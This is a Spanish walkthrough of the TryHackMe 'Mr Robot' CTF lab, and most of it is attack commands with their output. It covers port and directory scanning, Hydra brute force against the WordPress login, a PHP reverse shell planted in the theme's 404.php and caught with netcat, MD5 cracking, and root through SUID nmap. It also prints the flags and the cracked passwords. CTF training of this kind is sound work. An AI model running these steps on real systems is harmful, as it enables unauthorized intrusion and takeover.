Mr Robot CTF TryHackMe
Escaneo de puertos
nmap -p- --min-rate 5000 -sV <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 10:14 EDT
Nmap scan report for 10.10.192.219
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose|specialized|storage-misc|broadband router|WAP|printer
Running (JUST GUESSING): Linux 5.X|3.X|4.X|2.6.X (89%), Crestron 2-Series (87%), HP embedded (87%), Asus embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 5.4 (89%), Linux 3.10 - 3.13 (88%), Linux 3.10 - 4.11 (88%), Linux 3.12 (88%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.2 - 3.5 (88%), Linux 3.2 - 3.8 (88%), Linux 4.2 (88%), Linux 4.4 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 44.99 ms 10.9.0.1
2 45.06 ms 10.10.192.219
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.68 seconds
Gobuster
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.192.219/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 218]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.192.219/0/]
/0000 (Status: 301) [Size: 0] [--> http://10.10.192.219/0000/]
/Image (Status: 301) [Size: 0] [--> http://10.10.192.219/Image/]
/admin (Status: 301) [Size: 235] [--> http://10.10.192.219/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.192.219/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.192.219/blog/]
/css (Status: 301) [Size: 233] [--> http://10.10.192.219/css/]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.192.219/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/image (Status: 301) [Size: 0] [--> http://10.10.192.219/image/]
/images (Status: 301) [Size: 236] [--> http://10.10.192.219/images/]
/intro (Status: 200) [Size: 516314]
/js (Status: 301) [Size: 232] [--> http://10.10.192.219/js/]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.192.219/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.192.219/]
/phpmyadmin (Status: 403) [Size: 94]
/rdf (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/rdf/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.192.219/feed/]
/sitemap (Status: 200) [Size: 0]
/sitemap.xml (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.192.219/video/]
/wp-admin (Status: 301) [Size: 238] [--> http://10.10.192.219/wp-admin/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.192.219/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.192.219/wp-includes/]
/wp-login (Status: 200) [Size: 2671]
/xmlrpc (Status: 405) [Size: 42]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
Si nos vamos a /robots.txt
en la URL veremos 2 ubicaciones en las que pone lo siguiente...
/key-1-of-3.txt (flag1)
073403c8a58a1f80d943455fb30724b9
/fsocity.dic
Eso es un diccionario de palabras que te descarga, por lo que lo usaremos para probar fuerza bruta tanto en el usuario como en la contraseña...
En el panel de login de WordPress vemos que cuando fallamos el usuario nos pone que fallamos el usuario, pero cuando acertamos el usuario y la contraseña no, nos pone que fallamos la contraseña, por lo que aprovecharemos eso para sacar usuario y contraseña en WordPress...
hydra -L fsocity.dic -p <PASSWORD> <IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-13 11:16:10
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://10.10.192.219:80/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username
[80][http-post-form] host: 10.10.192.219 login: Elliot password: admin
Con esto ya sabemos el usuario, por lo que utilizaremos hydra
para sacar la contraseña...
hydra -l Elliot -P fsocity.dic <IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username"
Password = ER28-0652
Una vez dentro haremos una Reverse Shell...
Dentro del panel de WordPress nos vamos a Themes
y Editor
de ahi nos dirigimos a donde pone 404.php
y para que nos salga ese error (Entrar dentro de ese .php) tendremos que poner una ruta mala o que directamente no pille dentro de WordPress, en mi caso http://<IP>/mi-wordpress
una vez alli ponemos en el codigo de php del 404.php
lo siguiente...
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
Lo guardamos y estamos a la escucha...
nc -lvnp <PORT>
Una vez recargada la pagina de lerror nos dara la shell...
Si nos vamos a la /home
de robot
veremos que hay un password.raw-md5
con el usuario y contraseña de robot, pero la contraseña esta hasheada, por lo que la tenemos que crackear...
Info:
robot:c3fcd3d76192e4007dfb496cca67e13b
john --wordlist=<WORDLIST> --format=Raw-MD5 <HASH_FILE>
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2024-05-13 12:06) 100.0g/s 4051Kp/s 4051Kc/s 4051KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
robot:abcdefghijklmnopqrstuvwxyz
Nos importamos una shell por que si no, no nos dejara cambiar de usuario...
python -c 'import pty;pty.spawn("/bin/bash")'
Leemos la segunda flag llamada key-2-of-3.txt
...
key-2-of-3.txt (flag2)
822c73956184f694993bede3eb39f959
Si hacemos...
find / -type f -perm -4000 -ls 2>/dev/null
Nos buscara lo que podemos ejecutar con SUID (root)
34835 496 -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Vemos que podemos ejecutar nmap
con privilegios de "root" por lo que haremos lo siguiente...
nmap --interactive
# Dentro del entorno de 'nmap'
!whoami
nmap> root
# Cuando vemos que somos root nos damos una shell
!sh
Ya seriamos root
por lo que leemos la ultima flag...
key-3-of-3.txt (flag3)
04787ddef27c3dee1ee161b21670b4e4
Last updated